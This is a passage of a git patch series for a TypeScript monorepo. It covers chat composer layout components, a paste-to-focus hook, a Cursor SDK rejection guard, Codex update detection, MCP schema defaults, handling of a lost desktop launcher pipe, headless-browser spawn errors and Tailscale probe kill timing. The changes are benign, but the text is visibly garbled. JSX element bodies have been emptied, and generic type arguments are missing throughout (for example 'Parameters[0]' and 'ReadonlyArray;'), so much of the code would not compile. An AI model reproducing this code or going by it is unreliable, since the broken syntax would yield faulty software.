...(routeKind === "server" ? { threadRef: routeThreadRef } : {}), - ...(routeKind === "draft" && draftId ? { draftId } : {}), - model: selectedModel, - models: selectedProviderModels, - modelOptions: composerModelOptions?.[selectedInstanceId], - reportedModelSelection, - promptUltrathink, - onPromptEdit: editPromptFromTraitsStable, - planModeEnabled: settings.planModeEnabled, - }); - const providerTraitsPickerInput = { - provider: selectedProvider, - instanceId: selectedInstanceId, - ...(routeKind === "server" ? { threadRef: routeThreadRef } : {}), - ...(routeKind === "draft" && draftId ? { draftId } : {}), - model: selectedModel, - models: selectedProviderModels, - modelOptions: composerModelOptions?.[selectedInstanceId], - reportedModelSelection, - promptUltrathink, - onPromptEdit: editPromptFromTraitsStable, - planModeEnabled: settings.planModeEnabled, - isComposerOwned: true, - } satisfies Parameters[0]; - const providerTraitsPicker = renderProviderTraitsPicker(providerTraitsPickerInput); const [inlineRestingControlsHost, setInlineRestingControlsHost] = useState( null, ); @@ -2699,179 +2661,61 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const iconOnlyBlockCount = composerControlsCollapsed ? restingControlsIconOnlyBlockCount : expandedControlsIconOnlyBlockCount; - const restingProviderTraitsPicker = renderProviderTraitsPicker({ - ...providerTraitsPickerInput, - size: composerControlsCollapsed ? "xs" : "sm", - hidden: composerControlsHidden || restingHiddenBlockCount > 1, - }); - const restingBlockDefs = [ - ...(providerTraitsPicker - ? [ - { - id: "traits", - content: ( - <> - - {restingProviderTraitsPicker} - - ), - }, - ] - : []), - { - id: "mode", - content: ( -
); }); + +/** The thread panel toggle on a header whose right side the inline right panel covers. */ +export function ThreadPanelHeaderControl(props: PanelLayoutControlsProps) { + return ( +
+ +
+ ); +} + +/** The window's top-right panel controls, with the maximize toggle while the panel is open. */ +export function WorkspaceTitlebarControls(props: { + readonly showMaximizeControl: boolean; + readonly rightPanelOpen: boolean; + readonly animationsActive: boolean; + readonly maximized: boolean; + readonly onToggleMaximized: () => void; + readonly children: ReactNode; +}) { + return ( +
+ {props.showMaximizeControl ? ( + + + + ) : null} +
{props.children}
+
+ ); +} diff --git a/apps/web/src/components/chat/TimelineOverlays.tsx b/apps/web/src/components/chat/TimelineOverlays.tsx new file mode 100644 index 000000000000..6b326d8eeb80 --- /dev/null +++ b/apps/web/src/components/chat/TimelineOverlays.tsx @@ -0,0 +1,45 @@ +import { ChevronDownIcon, PaperclipIcon } from "lucide-react"; + +import { Button } from "../ui/button"; + +export function WorkspaceFileDropOverlay() { + return ( +
+
+
+
+ ); +} + +/** Sits `bottom` pixels up, clear of the composer and its attached banners. */ +export function ScrollToEndButton(props: { + readonly bottom: number; + readonly onScrollToEnd: () => void; +}) { + return ( +
+ +
+ ); +} diff --git a/apps/web/src/components/chat/usePasteToFocusComposer.ts b/apps/web/src/components/chat/usePasteToFocusComposer.ts new file mode 100644 index 000000000000..7311b3f4c0ed --- /dev/null +++ b/apps/web/src/components/chat/usePasteToFocusComposer.ts @@ -0,0 +1,53 @@ +import { pasteTextToFocusComposer, shouldRedirectInputToComposer } from "./composerFocusRedirect"; +import { readPastedComposerContext } from "../composerInlineTokenPaste"; +import { isPasteAsTextShortcut } from "@t3tools/client-runtime/text-paste"; +import { useEffect, useRef } from "react"; +import { isMacPlatform } from "../../lib/utils"; +import { isCommandPaletteOpen } from "../../commandPaletteBus"; +import { getTerminalFocusOwner } from "../../lib/terminalFocus"; +import type { ThreadId } from "@t3tools/contracts"; +import type { ComposerHandleRef } from "../../composerHandleContext"; +/** + * Paste-to-focus: the resting composer blurs on a click into the timeline, so a paste that + * follows has no editable target and would be dropped. This sends it to the composer instead. + */ +export function usePasteToFocusComposer( + activeThreadId: ThreadId | null, + composerRef: ComposerHandleRef, +) { + const pasteAsTextShortcutUntilRef = useRef(0); + useEffect(() => { + const keyHandler = (event: KeyboardEvent) => { + if ( + shouldRedirectInputToComposer(event) && + isPasteAsTextShortcut(event, isMacPlatform(navigator.platform)) + ) { + pasteAsTextShortcutUntilRef.current = Date.now() + 1_000; + } + }; + const handler = (event: ClipboardEvent) => { + if (!activeThreadId || isCommandPaletteOpen()) return; + if (getTerminalFocusOwner() !== null) return; + if (composerRef.current?.isModelPickerOpen()) return; + const text = pasteTextToFocusComposer(event); + const clipboardData = event.clipboardData; + if (text === null || clipboardData === null) return; + const bypassAutoAttachment = Date.now() <= pasteAsTextShortcutUntilRef.current; + pasteAsTextShortcutUntilRef.current = 0; + if ( + ((readPastedComposerContext(clipboardData)?.records.length ?? 0) === 0 && + composerRef.current?.pasteTextAtEnd(text, { bypassAutoAttachment })) || + composerRef.current?.insertTextAtEnd(text, { clipboardData }) + ) { + event.preventDefault(); + event.stopPropagation(); + } + }; + window.addEventListener("keydown", keyHandler, true); + window.addEventListener("paste", handler, true); + return () => { + window.removeEventListener("keydown", keyHandler, true); + window.removeEventListener("paste", handler, true); + }; + }, [activeThreadId, composerRef]); +} From f54dfc09915d5fd7ee6476cdf446cd978abc197c Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:07:38 -0700 Subject: [PATCH 041/130] fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server (#22897) Co-authored-by: MarMarLabs Co-authored-by: Claude Opus 5.5 --- .../src/server/CursorSdk.test.ts | 47 +++++++++++++++++++ .../provider-cursor/src/server/CursorSdk.ts | 13 +++++ 2 files changed, 60 insertions(+) create mode 100644 packages/provider-cursor/src/server/CursorSdk.test.ts diff --git a/packages/provider-cursor/src/server/CursorSdk.test.ts b/packages/provider-cursor/src/server/CursorSdk.test.ts new file mode 100644 index 000000000000..19b868ef830d --- /dev/null +++ b/packages/provider-cursor/src/server/CursorSdk.test.ts @@ -0,0 +1,47 @@ +import { assert, describe, it } from "@effect/vitest"; +import * as Effect from "effect/Effect"; +import * as Layer from "effect/Layer"; +import { vi } from "vite-plus/test"; + +import * as CursorSdk from "./CursorSdk.ts"; + +vi.mock("./sdk.ts", () => ({ Agent: {}, createAgentPlatform: {}, SqliteLocalAgentStore: {} })); + +// Shaped like the SDK's minified class: the constructor is not named after the error. +class o extends Error { + override name = "WriteIterableClosedError"; +} + +// Calls the guard directly, with Vitest's own listener detached so the guard does not defer to it. +const rejectThroughGuard = (reason: unknown) => + Effect.gen(function* () { + const others = process.listeners("unhandledRejection"); + yield* Layer.build(CursorSdk.layer); + const guard = process.listeners("unhandledRejection").find((l) => !others.includes(l)); + assert.isDefined(guard); + using exit = vi.spyOn(process, "exit").mockImplementation(() => undefined as never); + using _log = vi.spyOn(console, "error").mockImplementation(() => {}); + for (const listener of others) process.off("unhandledRejection", listener); + try { + guard(reason, Promise.resolve()); + } finally { + for (const listener of others) process.on("unhandledRejection", listener); + } + return exit.mock.calls; + }).pipe(Effect.scoped); + +describe("CursorSdk unhandled rejection guard", () => { + it.effect("keeps the server running when the SDK writes to a closed stream", () => + Effect.gen(function* () { + assert.deepStrictEqual(yield* rejectThroughGuard(new o("WritableIterable is closed")), []); + }), + ); + + it.effect("still exits on other rejections", () => + Effect.gen(function* () { + assert.deepStrictEqual(yield* rejectThroughGuard(new Error("WritableIterable is closed")), [ + [1], + ]); + }), + ); +}); diff --git a/packages/provider-cursor/src/server/CursorSdk.ts b/packages/provider-cursor/src/server/CursorSdk.ts index 12fb42235634..6bd9f2ba18b5 100644 --- a/packages/provider-cursor/src/server/CursorSdk.ts +++ b/packages/provider-cursor/src/server/CursorSdk.ts @@ -34,11 +34,24 @@ function isCursorShellSpawnFailure(reason: unknown): boolean { ); } +/** + * After a local exec fails, the SDK writes a final frame to the exec's stream from + * a promise nothing awaits. If that stream has already closed, the write rejects. + * The SDK's class is minified, so only its `name` identifies it. + */ +function isCursorClosedStreamWrite(reason: unknown): boolean { + return reason instanceof Error && reason.name === "WriteIterableClosedError"; +} + function onUnhandledRejection(reason: unknown): void { if (isCursorShellSpawnFailure(reason)) { console.error("Cursor shell spawn failed. The server will keep running.", reason); return; } + if (isCursorClosedStreamWrite(reason)) { + console.error("Cursor SDK wrote to a closed exec stream. The server will keep running."); + return; + } if (process.listenerCount("unhandledRejection") > 1) { return; } From c25ba721ae403aacce6974bb1fb044cc65bb1e79 Mon Sep 17 00:00:00 2001 From: Koushik_xd <122906171+koushikxd@users.noreply.github.com> Date: Thu, 22 Oct 2026 02:37:50 +0530 Subject: [PATCH 042/130] fix(server): Codex no longer offers a one-click update for installs it can't detect (#22504) --- .../src/provider/Drivers/CodexDriver.ts | 1 + .../src/server/maintenanceResolver.test.ts | 33 +++++++++++++++++++ .../src/server/maintenanceResolver.ts | 12 ++++--- 3 files changed, 41 insertions(+), 5 deletions(-) diff --git a/apps/server/src/provider/Drivers/CodexDriver.ts b/apps/server/src/provider/Drivers/CodexDriver.ts index b6682d974b7e..5452560d2891 100644 --- a/apps/server/src/provider/Drivers/CodexDriver.ts +++ b/apps/server/src/provider/Drivers/CodexDriver.ts @@ -76,6 +76,7 @@ function makeCodexMaintenanceResolver(sharedHomePath: string) { nativeUpdate: { args: ["update"], isCommandPath: isCodexStandaloneCommandPath, + requiresCommandPath: true, env: { CODEX_HOME: sharedHomePath }, }, }); diff --git a/packages/provider-core/src/server/maintenanceResolver.test.ts b/packages/provider-core/src/server/maintenanceResolver.test.ts index cbb24818eb55..9afedc66c5a7 100644 --- a/packages/provider-core/src/server/maintenanceResolver.test.ts +++ b/packages/provider-core/src/server/maintenanceResolver.test.ts @@ -369,6 +369,39 @@ it.layer(NodeServices.layer)("providerMaintenance", (it) => { }), ); + it.effect( + "keeps an unrecognized install manual-only when the native updater requires its path", + () => + Effect.gen(function* () { + const systemPath = + "/usr/local/lib/codex/releases/rust-v0.162.1-x86_64-unknown-linux-musl/bin/codex"; + const capabilities = yield* resolvePackageManagedProviderMaintenance( + { + provider: driver("codex"), + npmPackageName: "@openai/codex", + nativeUpdate: { + args: ["update"], + isCommandPath: isNativeTestCommandPath("/packages/standalone/"), + requiresCommandPath: true, + }, + }, + { + binaryPath: "codex", + resolvedCommandPath: "/usr/local/bin/codex", + realCommandPath: systemPath, + env: {}, + platform: "linux", + }, + ).pipe( + Effect.provideService(HostProcess.Platform, "linux"), + Effect.provideService(ChildProcessSpawner.ChildProcessSpawner, noSpawn), + ); + + expect(capabilities.update).toBeNull(); + expect(capabilities.installPath).toBe(systemPath); + }), + ); + const claudeUpdate = { provider: driver("claudeAgent"), npmPackageName: "@anthropic-ai/claude-code", diff --git a/packages/provider-core/src/server/maintenanceResolver.ts b/packages/provider-core/src/server/maintenanceResolver.ts index ed3967ebb465..94889b4a0f13 100644 --- a/packages/provider-core/src/server/maintenanceResolver.ts +++ b/packages/provider-core/src/server/maintenanceResolver.ts @@ -85,6 +85,8 @@ export interface PackageManagedProviderMaintenanceDefinition { readonly nativeUpdate: { readonly args: ReadonlyArray; readonly isCommandPath?: (commandPath: string) => boolean; + /** The updater cannot detect installs outside `isCommandPath`, so leave those manual-only. */ + readonly requiresCommandPath?: boolean; readonly env?: NodeJS.ProcessEnv; } | null; } @@ -474,11 +476,11 @@ export const resolvePackageManagedProviderMaintenance = Effect.fn( } // A `node_modules` path not proven below belongs to another package or a // project, so the provider's own updater could act on the wrong install. - const fallback = commandPaths.some((commandPath) => - normalizeCommandPath(commandPath).includes("/node_modules/"), - ) - ? manual - : native; + const fallback = + nativeUpdate?.requiresCommandPath || + commandPaths.some((commandPath) => normalizeCommandPath(commandPath).includes("/node_modules/")) + ? manual + : native; if (commandPaths.some(isVitePlusGlobalCommandPath)) { return makeProviderMaintenanceCapabilities({ provider: definition.provider, From 9892aca206279640b17a5453578f9f2b3178800d Mon Sep 17 00:00:00 2001 From: Taissa <202353633+tlconde@users.noreply.github.com> Date: Wed, 21 Oct 2026 23:08:09 +0200 Subject: [PATCH 043/130] fix(pi): declare properties on MCP tool schemas that omit them (#21822) Co-authored-by: Claude Sonnet 5.5 --- .../src/server/mcpBridge.testkit.ts | 3 ++- .../src/server/mcpExtensionSource.test.ts | 26 +++++++++++++++++++ .../src/server/mcpExtensionSource.ts | 8 +++++- 3 files changed, 35 insertions(+), 2 deletions(-) diff --git a/packages/provider-pi/src/server/mcpBridge.testkit.ts b/packages/provider-pi/src/server/mcpBridge.testkit.ts index fb1211571d8d..133a4b2981ac 100644 --- a/packages/provider-pi/src/server/mcpBridge.testkit.ts +++ b/packages/provider-pi/src/server/mcpBridge.testkit.ts @@ -47,6 +47,7 @@ export async function loadMcpBridge( readonly toolSearchDisabled?: boolean; readonly allowsTool?: (name: string) => boolean; readonly runtimeMode?: string; + readonly inputSchema?: Record; } = {}, ) { const handlers = new Map(); @@ -75,7 +76,7 @@ export async function loadMcpBridge( { name: "preview_snapshot", description: "Inspect the collaborative browser." }, ].map((tool) => ({ ...tool, - inputSchema: { type: "object", properties: {} }, + inputSchema: options.inputSchema ?? { type: "object", properties: {} }, outputSchema: { type: "object", properties: { count: { type: "number" } } }, })); const source = NodeModule.stripTypeScriptTypes( diff --git a/packages/provider-pi/src/server/mcpExtensionSource.test.ts b/packages/provider-pi/src/server/mcpExtensionSource.test.ts index fcd21ab48581..b1306f701e27 100644 --- a/packages/provider-pi/src/server/mcpExtensionSource.test.ts +++ b/packages/provider-pi/src/server/mcpExtensionSource.test.ts @@ -238,6 +238,32 @@ describe("Pi MCP tool exposure", () => { ); }); +describe("Pi MCP tool schemas", () => { + it.each([{ type: "object" }, {}])( + "declares empty properties on object schemas that omit them: %j", + async (inputSchema) => { + const bridge = await loadMcpBridge({ inputSchema }); + assert.isAbove(bridge.tools.length, 0); + for (const tool of bridge.tools) { + assert.deepEqual(tool.parameters, { type: "object", properties: {} }); + } + }, + ); + + it("keeps declared properties and other schema keywords", async () => { + const inputSchema = { + type: "object", + properties: { depth: { type: "number" } }, + required: ["depth"], + additionalProperties: false, + }; + const bridge = await loadMcpBridge({ inputSchema }); + for (const tool of bridge.tools) { + assert.deepEqual(tool.parameters, inputSchema); + } + }); +}); + describe("Pi tool discovery permissions", () => { it.each(["approval-required", "auto-accept-edits", "auto"])( "allows annotated T3 reads in %s while gating mutations and replacements", diff --git a/packages/provider-pi/src/server/mcpExtensionSource.ts b/packages/provider-pi/src/server/mcpExtensionSource.ts index d8943404b0e1..d71d9e2e4625 100644 --- a/packages/provider-pi/src/server/mcpExtensionSource.ts +++ b/packages/provider-pi/src/server/mcpExtensionSource.ts @@ -91,7 +91,13 @@ function parseSseOrJson(body: string, contentType: string): JsonRpcResponse { function jsonSchemaToTypebox(schema: Record | undefined) { const unsafe = (Type as { Unsafe?: (value: unknown) => unknown }).Unsafe; if (typeof unsafe === "function" && schema !== undefined) { - return unsafe(schema); + // Zero-argument MCP tools may omit "properties", which some OpenAI-compatible + // servers reject. Declare it, as Pi does for its own MCP tools. + return unsafe({ + ...schema, + type: schema.type ?? "object", + ...(schema.properties === undefined ? { properties: {} } : {}), + }); } return Type.Object({}, { additionalProperties: true }); } From 2936b90883b2e23b00e1c2a5361ea545c3ac8dff Mon Sep 17 00:00:00 2001 From: Dara Adedeji <76637177+SunkenInTime@users.noreply.github.com> Date: Wed, 21 Oct 2026 17:08:30 -0400 Subject: [PATCH 044/130] fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing (#22471) --- apps/server/src/cli/server.ts | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/apps/server/src/cli/server.ts b/apps/server/src/cli/server.ts index e9f0d7e19ae1..fee427cc7fa2 100644 --- a/apps/server/src/cli/server.ts +++ b/apps/server/src/cli/server.ts @@ -13,6 +13,13 @@ import { type CliServerFlags, resolveServerConfig, sharedServerCommandFlags } fr const encodeCommand = Schema.encodeEffect(Schema.fromJsonString(Schema.String)); +// The desktop launcher reads this process's stdout and stderr. Once it is gone, +// every log write fails, and Node turns an unhandled stream error into a crash +// that skips shutdown and leaves the ownership lock and runtime record behind. +function ignoreClosedLauncherPipe(error: NodeJS.ErrnoException): void { + if (error.code !== "EPIPE" && error.code !== "ERR_STREAM_DESTROYED") throw error; +} + const runServerCommand = Effect.fn("server.runServerCommand")(function* ( flags: CliServerFlags, options?: { @@ -25,6 +32,10 @@ const runServerCommand = Effect.fn("server.runServerCommand")(function* ( const config = yield* resolveServerConfig(flags, logLevel, options); const run = runServer.pipe(Effect.provideService(ServerConfig.ServerConfig, config)); if (config.mode !== "desktop" || config.desktopBootstrapToken === undefined) return yield* run; + yield* Effect.sync(() => { + process.stdout.on("error", ignoreClosedLauncherPipe); + process.stderr.on("error", ignoreClosedLauncherPipe); + }); return yield* Effect.raceFirst( run, awaitLauncherLoss().pipe( From 71b867080b1dc5853b53417efe15b2443f33f904 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:08:50 -0700 Subject: [PATCH 045/130] fix(mobile): chat feed no longer re-derives on every render (#22913) Co-authored-by: flamboh Co-authored-by: Claude Opus 5.5 --- .../src/features/threads/ThreadFeed.tsx | 46 ++++++++------ apps/mobile/src/reactCompilerCoverage.test.ts | 60 ++++++++++++++++++- 2 files changed, 85 insertions(+), 21 deletions(-) diff --git a/apps/mobile/src/features/threads/ThreadFeed.tsx b/apps/mobile/src/features/threads/ThreadFeed.tsx index 8c07123dd3ae..a3d956a4ac56 100644 --- a/apps/mobile/src/features/threads/ThreadFeed.tsx +++ b/apps/mobile/src/features/threads/ThreadFeed.tsx @@ -1875,6 +1875,33 @@ function ThreadFeedPlaceholder(props: { ); } +// A hook's return value is frozen to the compiler, so ThreadFeed's later +// hooks can't drag this derivation into an uncached scope. +function useThreadFeedPresentation( + props: ThreadFeedProps, + expandedTurnIds: ReadonlySet, + expandedWorkGroups: Record, +) { + const [feedCache] = useState(createThreadFeedCache); + return appendPendingThreadMessages( + deriveThreadFeedPresentation( + props.feed, + props.latestRun, + expandedTurnIds, + new Set( + Object.entries(expandedWorkGroups) + .filter(([, expanded]) => expanded) + .map(([groupId]) => groupId), + ), + props.activeWorkStartedAt, + props.runlessWorkActive ?? false, + feedCache, + ), + props.feed, + props.queuedMessages, + ); +} + export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { const { listRef, onEndFollowEnabledChange, onHeaderMaterialVisibilityChange } = props; const workflowOpening = useWorkflowOpening(props.environmentId, props.threadId); @@ -1900,7 +1927,6 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { const disclosureSettleFrameRef = useRef(null); const disclosureSettleSecondFrameRef = useRef(null); const disclosureAnchorKeyRef = useRef(null); - const [feedCache] = useState(createThreadFeedCache); const previousLatestTurnRef = useRef(props.latestRun); const userScrollSettleTimerRef = useRef | null>(null); const headerMaterialVisibleRef = useRef(false); @@ -2456,23 +2482,7 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { reportHeaderMaterialVisibility(false); }, [feedThreadKey, reportHeaderMaterialVisibility]); - const presentedFeed = appendPendingThreadMessages( - deriveThreadFeedPresentation( - props.feed, - props.latestRun, - expandedTurnIds, - new Set( - Object.entries(expandedWorkGroups) - .filter(([, expanded]) => expanded) - .map(([groupId]) => groupId), - ), - props.activeWorkStartedAt, - props.runlessWorkActive ?? false, - feedCache, - ), - props.feed, - props.queuedMessages, - ); + const presentedFeed = useThreadFeedPresentation(props, expandedTurnIds, expandedWorkGroups); const setupAnchorIndex = presentedFeed.findIndex( (entry) => entry.type === "message" && entry.message.role === "user", ); diff --git a/apps/mobile/src/reactCompilerCoverage.test.ts b/apps/mobile/src/reactCompilerCoverage.test.ts index fc6c04aa5833..f51c729f319e 100644 --- a/apps/mobile/src/reactCompilerCoverage.test.ts +++ b/apps/mobile/src/reactCompilerCoverage.test.ts @@ -66,8 +66,7 @@ interface CompilerEvent { // babel.config.js is the file Metro loads; the logger rides on the preset's // own react-compiler option so the plugin runs with Metro's exact settings. -function compilerBailouts(file: string): string[] { - const events: CompilerEvent[] = []; +function compileLikeMetro(file: string, events: CompilerEvent[], output: Record) { const babelConfig = requireFromMobile("./babel.config.js")({ cache: () => {} }); const presets = babelConfig.presets.map(([name, options]: [string, object]) => name === "babel-preset-expo" @@ -82,14 +81,20 @@ function compilerBailouts(file: string): string[] { ] : [name, options], ); - babel.transformFileSync(NodePath.join(mobileRoot, file), { + return babel.transformFileSync(NodePath.join(mobileRoot, file), { babelrc: false, configFile: false, cwd: mobileRoot, presets, caller: metroCaller, code: false, + ...output, }); +} + +function compilerBailouts(file: string): string[] { + const events: CompilerEvent[] = []; + compileLikeMetro(file, events, {}); return events .filter((event) => event.kind === "CompileError" || event.kind === "CompileSkip") .map( @@ -98,6 +103,47 @@ function compilerBailouts(file: string): string[] { ); } +interface AstNode { + readonly type: string; + readonly [key: string]: unknown; +} + +const isAstNode = (value: unknown): value is AstNode => + typeof value === "object" && value !== null && "type" in value && typeof value.type === "string"; + +function walkAst( + value: unknown, + visit: (node: AstNode, ancestors: readonly AstNode[]) => void, + ancestors: readonly AstNode[] = [], +) { + if (typeof value !== "object" || value === null) return; + const node = isAstNode(value) ? value : null; + if (node) visit(node, ancestors); + const childAncestors = node ? [...ancestors, node] : ancestors; + for (const child of Object.values(value)) walkAst(child, visit, childAncestors); +} + +// For each call to `callee`, whether it runs only on the cache-miss branch of +// an `if ($[n] !== dep)` block rather than on every render. +function compilerCachedCalls(file: string, callee: string): boolean[] { + const result = compileLikeMetro(file, [], { ast: true }); + const cached: boolean[] = []; + if (typeof result !== "object" || result === null || !("ast" in result)) return cached; + walkAst(result.ast, (node, ancestors) => { + if (node.type !== "CallExpression" || !isAstNode(node.callee)) return; + if (node.callee.type !== "Identifier" || node.callee.name !== callee) return; + cached.push( + ancestors.some( + (ancestor, index) => + ancestor.type === "IfStatement" && + ancestors[index + 1] === ancestor.consequent && + JSON.stringify(ancestor.test).includes('"name":"$"'), + ), + ); + }); + return cached; +} + describe("React Compiler coverage", () => { it("Metro's transformer applies the compiler", async () => { const { transformer } = await metroConfig; @@ -137,6 +183,14 @@ describe("React Compiler coverage", () => { } }); + // The compiler once silently dropped this cache, so every + // ThreadFeed render rebuilt the feed and handed LegendList a new data array. + it("caches the thread feed derivation", () => { + expect( + compilerCachedCalls("src/features/threads/ThreadFeed.tsx", "deriveThreadFeedPresentation"), + ).toEqual([true]); + }); + it("lists only files that exist", () => { expect(Object.keys(KNOWN_BAILOUTS).filter((file) => !sourceFiles.includes(file))).toEqual([]); }); From 9c6523d5bec7642ccb2fcec50157dd984e2d6176 Mon Sep 17 00:00:00 2001 From: Gourav Kumar Dhiman Date: Thu, 22 Oct 2026 02:39:20 +0530 Subject: [PATCH 046/130] docs(user): the outside agents guide says which addresses agents can sign in over (#22377) Co-authored-by: Claude Sonnet 5.5 --- docs/user/outside-agents.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/user/outside-agents.md b/docs/user/outside-agents.md index 1e7b80cde94c..f1503ef49b22 100644 --- a/docs/user/outside-agents.md +++ b/docs/user/outside-agents.md @@ -19,9 +19,13 @@ https:///mcp The copied URL uses the route this device is connected over, so an agent on the same device can reach it. -- **An agent on your own computers** can use any address that computer reaches - the environment at: a LAN or Tailscale address, T3 Connect, or `localhost` on - the host. See [remote access](./remote-access.md). +- **An agent on your own computers** can use `localhost` on the host, T3 + Connect, or any `https` address, such as + [Tailscale HTTPS](./remote-access.md#tailscale-https). Signing in sends the + agent's credentials to the environment, and agents only do that over `https` + or to `localhost`. A plain-`http` LAN or Tailscale address, like + `http://100.x.y.z:3773`, lets an agent find the environment but not finish + signing in. - **A hosted agent**, such as ChatGPT or a bot running in the cloud, must reach the environment from the internet. Use the T3 Connect address. A Tailscale address only works from your own tailnet. From 60dc0a044c1d0e2fe305eeb2b3cb6311f4fd2d8b Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:09:39 -0700 Subject: [PATCH 047/130] fix(server): HTML preview reports a browser start error instead of an internal error (#22895) Co-authored-by: ScottN-PV Co-authored-by: Claude Opus 5.5 --- apps/server/src/htmlRender/HtmlRender.test.ts | 31 ++++++++++++++++++- apps/server/src/htmlRender/headlessChrome.ts | 7 +++++ 2 files changed, 37 insertions(+), 1 deletion(-) diff --git a/apps/server/src/htmlRender/HtmlRender.test.ts b/apps/server/src/htmlRender/HtmlRender.test.ts index c317e6881e65..1bbdf0e483ee 100644 --- a/apps/server/src/htmlRender/HtmlRender.test.ts +++ b/apps/server/src/htmlRender/HtmlRender.test.ts @@ -1,11 +1,12 @@ // @effect-diagnostics nodeBuiltinImport:off - plain local servers stand in for LAN services. import * as NodeServices from "@effect/platform-node/NodeServices"; -import { describe, expect, it } from "@effect/vitest"; +import { assert, describe, expect, it } from "@effect/vitest"; import { EnvironmentId, ProviderInstanceId, ThreadId } from "@t3tools/contracts"; import * as McpProviderSessions from "@t3tools/provider-core/server/McpProviderSessions"; import * as HostProcess from "@t3tools/shared/HostProcess"; import * as Deferred from "effect/Deferred"; import * as Effect from "effect/Effect"; +import * as Exit from "effect/Exit"; import * as Base64 from "effect/encoding/Base64"; import * as Fiber from "effect/Fiber"; import * as FileSystem from "effect/FileSystem"; @@ -19,6 +20,7 @@ import * as NodeURL from "node:url"; import { resolveAttachmentPathById } from "../attachmentStore.ts"; import * as ServerConfig from "../config.ts"; import * as HtmlRender from "./HtmlRender.ts"; +import { HtmlRenderBrowserError } from "./headlessChrome.ts"; import * as PreviewBrowser from "../preview/PreviewBrowser.ts"; const TEST_BROWSER_ENV = "T3CODE_TEST_HEADLESS_SHELL"; @@ -287,6 +289,33 @@ describe("HtmlRender", () => { }), ); + // Windows reports ENOENT asynchronously for this path instead of throwing ENOTDIR. + describe.skipIf(HostProcess.Platform.defaultValue() === "win32")( + "when the browser spawn throws synchronously", + () => { + it.live("reports a typed preview error", () => + Effect.gen(function* () { + const fileSystem = yield* FileSystem.FileSystem; + const path = yield* Path.Path; + const file = yield* fileSystem.makeTempFileScoped({ prefix: "t3-browser-spawn-" }); + const outcome = yield* HtmlRender.HtmlRender.use((htmlRender) => + htmlRender.preview({ html: "

x

" }).pipe(Effect.flip), + ).pipe( + Effect.provide(layerHtmlRender(path.join(file, "chrome-headless-shell"))), + Effect.exit, + ); + assert(Exit.isSuccess(outcome), "Expected a typed preview error."); + const error = outcome.value; + expect(error).toBeInstanceOf(HtmlRenderBrowserError); + expect(error.message).toBe( + "Headless Chrome could not render the page: the browser could not be started.", + ); + expect(error).toMatchObject({ cause: { code: "ENOTDIR" } }); + }).pipe(Effect.scoped, Effect.provide(NodeServices.layer)), + ); + }, + ); + it.live("keeps every local file but the page itself out of the browser", (ctx) => Effect.gen(function* () { const executable = (yield* HostProcess.Environment)[TEST_BROWSER_ENV]; diff --git a/apps/server/src/htmlRender/headlessChrome.ts b/apps/server/src/htmlRender/headlessChrome.ts index 4ad26a4aa683..d9339b9c4694 100644 --- a/apps/server/src/htmlRender/headlessChrome.ts +++ b/apps/server/src/htmlRender/headlessChrome.ts @@ -229,6 +229,13 @@ const launchBrowser = Effect.fnUntraced(function* (input: { (cause) => new HtmlRenderBrowserError({ reason: "the browser could not be started", cause }), ), + // Node throws some spawn errors synchronously, such as `spawn UNKNOWN` + // when policy blocks the executable; `mapError` cannot catch those. + Effect.catchDefect((cause) => + Effect.fail( + new HtmlRenderBrowserError({ reason: "the browser could not be started", cause }), + ), + ), ); let stderrTail = ""; From 0d876e004aed0b5d6b5fe3bd65d7375d6c29b146 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:09:58 -0700 Subject: [PATCH 048/130] fix(tailscale): a timed-out tailscale probe no longer outlives its call (#22900) Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 --- packages/tailscale/src/tailscale.test.ts | 26 ++++++++++++++++++++++++ packages/tailscale/src/tailscale.ts | 12 ++++++++++- 2 files changed, 37 insertions(+), 1 deletion(-) diff --git a/packages/tailscale/src/tailscale.test.ts b/packages/tailscale/src/tailscale.test.ts index d128827b8e83..0b83cb3008d7 100644 --- a/packages/tailscale/src/tailscale.test.ts +++ b/packages/tailscale/src/tailscale.test.ts @@ -1,4 +1,5 @@ import { assert, describe, it } from "@effect/vitest"; +import * as Duration from "effect/Duration"; import * as Effect from "effect/Effect"; import * as Layer from "effect/Layer"; import * as Sink from "effect/Sink"; @@ -219,4 +220,29 @@ describe("tailscale", () => { assertCarriesNoSecret(error, "tskey-auth-secret-token-value"); }); }); + + // regression: #21609 - without forceKillAfter a timed-out probe only gets + // SIGTERM, so a group member that ignores it outlives the call. + it.effect("escalates timed-out probes to SIGKILL", () => { + const killGraces: Array = []; + const layer = layerSpawner( + ChildProcessSpawner.make((command) => { + if (command._tag === "StandardCommand") { + const { forceKillAfter } = command.options; + killGraces.push( + forceKillAfter === undefined + ? undefined + : Duration.toMillis(Duration.fromInputUnsafe(forceKillAfter)), + ); + } + return Effect.succeed(mockHandle({ stdout: "{}" })); + }), + ); + + return Effect.gen(function* () { + yield* readTailscaleStatus.pipe(Effect.provide(layer)); + yield* readTailscaleSshEnabled.pipe(Effect.provide(layer)); + assert.deepEqual(killGraces, [500, 500]); + }); + }); }); diff --git a/packages/tailscale/src/tailscale.ts b/packages/tailscale/src/tailscale.ts index ece4aca1e31d..1c803b27f1eb 100644 --- a/packages/tailscale/src/tailscale.ts +++ b/packages/tailscale/src/tailscale.ts @@ -15,6 +15,13 @@ export const DEFAULT_TAILSCALE_SERVE_PORT = 443; * that follows the timeout also takes time (`taskkill` on Windows). */ const TAILSCALE_STATUS_TIMEOUT = Duration.millis(3_500); +/** + * How long a probe killed on timeout gets to exit after SIGTERM before its + * process group is SIGKILLed. Without it the spawner never escalates, so a group + * member that ignores SIGTERM outlives the call. Short because the timeout error + * only surfaces once cleanup finishes, and a healthy `tailscale` exits at once. + */ +const 